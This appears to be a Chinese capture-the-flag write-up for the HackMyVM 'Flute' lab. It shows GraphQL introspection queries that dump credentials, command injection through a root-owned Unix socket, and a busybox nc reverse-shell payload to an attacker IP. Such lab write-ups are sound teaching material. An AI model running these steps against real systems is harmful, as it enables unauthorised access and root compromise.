Sublarge

// 红队渗透 · 2026-03-31

HackMyVM: Flute 靶机渗透题解

本文记录了针对目标主机(192.168.56.159)的渗透测试过程。首先通过端口扫描发现8888端口运行的GraphQL服务(Apollo Server),利用未禁用的内省功能成功获取User对象中的敏感信息,提取到SSH凭证(hamelin/comewithmerats)。登录SSH后发现系统为Alpine Linux环境,并进行了初步的进程枚举。整个过程展示了GraphQL内省漏洞的利用方法及权限提升路径。

0x01 环境说明

  • 靶机名称:Flute
  • 难度:low
  • 目标:获取 Root Flag
  • 靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Flute
  • 实验环境:VirtualBox / VMware (Host-Only 网络)
  • 涉及技术:GraphQL 内省查询、敏感信息泄露、Unix Domain Socket (UDS) 攻击、本地命令注入提权。

在这里插入图片描述


0x02 阶段一:Web 端的 GraphQL 深挖

1. 发现 GraphQL 接口

通过端口扫描发现 8888 端口。 在这里插入图片描述

web界面如下: 在这里插入图片描述 页面是一个 Apollo Server 。它是目前最流行的 GraphQL 服务端实现库(主要基于 Node.js)。

简单来说,它是连接你的数据源(数据库、REST API 等)和客户端(前端 App、curl 等)之间的桥梁。在传统的 REST 架构中,你可能需要写很多路由(如 /users, /orders)。而在使用 Apollo Server 时,你只需要定义两样东西:

  • Schema (模式):定义你的数据长什么样(有哪些类型、哪些字段)。

  • Resolvers (解析器):定义如何获取这些数据(去哪条数据库查,或者调用哪个 API)。

提示可以直接使用 curl 进行探测:

curl --request POST \
  --header 'content-type: application/json' \
  --url 'http://192.168.56.159:8888/' \
  --data '{"query":"query { __typename }"}'
bash4 行

原理剖析:什么是 GraphQL? GraphQL 是一种用于 API 的查询语言。与传统的 REST API(多个 Endpoint,如 /api/users, /api/posts)不同,GraphQL 通常只有一个 Endpoint。

  • 灵活性:客户端可以精确请求所需的数据,不多不少。
  • 自描述性:它通过 Schema(模式) 定义数据结构。

2. 内省查询 (Introspection) 漏洞

由于服务端未禁用内省,我们可以直接读取其“说明书”。

❯ # 尝试获取所有类型和字段
curl -X POST -H "Content-Type: application/json" \
--data '{"query":"{__schema{types{name,fields{name}}}}"}' \
http://192.168.56.159:8888/
{"data":{"__schema":{"types":[{"name":"User","fields":[{"name":"username"},{"name":"password"}]},{"name":"String","fields":null},{"name":"Query","fields":[{"name":"users"},{"name":"user"}]},{"name":"Boolean","fields":null},{"name":"__Schema","fields":[{"name":"description"},{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"specifiedByURL"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"},{"name":"isOneOf"}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"isRepeatable"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null}]}}}
bash5 行

原理剖析:内省(Introspection)是什么? 内省是 GraphQL 的一种内置功能,允许客户端查询服务器支持哪些类型。在生产环境中,如果未禁用此功能,攻击者可以像查看源代码一样看到后台所有的对象(Object)、字段(Field)及参数,从而快速定位敏感数据。

3. 数据提取

通过内省发现 User 对象存在 username 和 password。直接执行查询获取凭据:

❯ curl -X POST -H "Content-Type: application/json" \
--url 'http://192.168.56.159:8888/' \
--data '{"query":"{ users { username password } }"}'
{"data":{"users":[{"username":"admin","password":"imtherealadmin"},{"username":"hamelin","password":"comewithmerats"}]}}
bash4 行

成功获取 SSH 账户:hamelin / comewithmerats。


0x03 阶段二:主机权限枚举

登录 SSH 后,发现这是一个 Alpine Linux 环境。

  1. sudo 缺失:执行 sudo -l 提示 not found。
  2. 进程发现:发现 ratd.py 以 root 权限运行。
  3. 配置文件:在 /opt/ratd/ratd.py 找到源码,发现其监听了一个名为 /tmp/ratd.sock 的文件。

0x04 阶段三:Unix Domain Socket 提权攻击

1. Unix Domain Socket (UDS) 原理剖析

底层机制:

  • 通信方式:UDS 不是通过网络协议栈(IP+Port),而是利用 文件系统 作为进程间通信(IPC)的通道。
  • 权限模型:UDS 的安全性完全依赖于 文件系统权限。
  • 漏洞点:在源码中,开发者使用了 os.chmod(socket_path, 0o777)。这意味着系统内任何权限的用户(包括 hamelin)都可以向这个 Socket 发送数据。

2. 任意命令注入 (Command Injection)

源码逻辑如下:

if data.startswith("RUN "):
    cmd = data[4:]
    os.system(cmd)  # 致命伤
python3 行

os.system() 会调用 /bin/sh -c 执行命令。由于整个脚本由 root 运行,os.system 派生出的子进程同样继承 root 权限。

3. 构造 Exploit

由于环境内没有 socat,我们使用内置的 python3 或 nc -U 模式与 Socket 通信。

反弹 Shell 载荷:

# 在攻击机上
nc -lvnp 4444

# 在靶机上执行(利用 nc -U 连接 Unix Socket)
echo -n "RUN busybox nc 192.168.56.6 4444 -e /bin/ash" | nc -U /tmp/ratd.sock
bash5 行

Flag 路径: /root/root.txt 结束!

原文 https://blog.csdn.net/2301_79518550/article/details/159694683